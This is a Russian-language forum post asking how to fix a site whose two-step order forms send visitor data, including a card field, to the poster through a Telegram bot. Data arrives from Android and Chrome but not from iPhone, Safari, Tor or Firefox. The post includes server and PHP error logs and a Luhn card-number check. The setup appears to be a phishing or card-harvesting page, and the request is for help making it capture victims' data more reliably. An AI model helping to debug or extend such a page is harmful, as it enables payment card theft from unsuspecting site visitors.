(Есть сайт со скриптом и ботом в тг, через который я получаю эти логи). Не идут логи на "ios"(проверялось на iphone), браузерах Safari, Tor, Firefox. Как починить?
Посетитель сайта оформляет заказ, который состоит из двух форм, почему-то на андроиде, хроме и других браузерах приходят данные с обоих форм, а с айфона... только со второй формы.
Вторая застряет на этом месте, ничего не отправляет:
217.138.209.150 - - [08/Jun/2020:12:51:05 +0000] "POST /payment/index.php HTTP/1.1" 200 12328 "https://*****************-IDIguNb7.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0"
Errorlog:
И вот что в логе ошибок, не знаю что делать.
[Mon Jun 08 12:50:44.718338 2020] [:error] [pid 23949] [client 217.138.209.150:50890] PHP Notice: Undefined variable: ip in /home/admin/web/*****************/public_html/send2.php on line 20, referer: https://*****************IDIguNb7.html
[Mon Jun 08 12:50:45.203125 2020] [:error] [pid 23949] [client 217.138.209.150:50890] PHP Notice: Undefined index: card in /home/admin/web/*****************/public_html/send2.php on line 43, referer: https://*****************IDIguNb7.html
[Mon Jun 08 12:50:45.309403 2020] [:error] [pid 23949] [client 217.138.209.150:50890] PHP Notice: Undefined index: card in /home/admin/web/*****************/public_html/send2.php on line 74, referer: https://*****************IDIguNb7.html
// Strip any non-digits (useful for credit card numbers with spaces and hyphens)
$number=preg_replace('/\D/', '', $number);
// Set the string length and parity
$number_length=strlen($number);
$parity=$number_length % 2;
// Loop through each digit and do the maths
$total=0;
for ($i=0; $i<$number_length; $i++) {
$digit=$number[$i];
// Multiply alternate digits by two
if ($i % 2 == $parity) {
$digit*=2;
// If the sum is two digits, add them together (in effect)
if ($digit > 9) {
$digit-=9;
}
}
// Total up the digits
$total+=$digit;
}
// If the total mod 10 equals 0, the number is valid
return ($total % 10 == 0) ? TRUE : FALSE;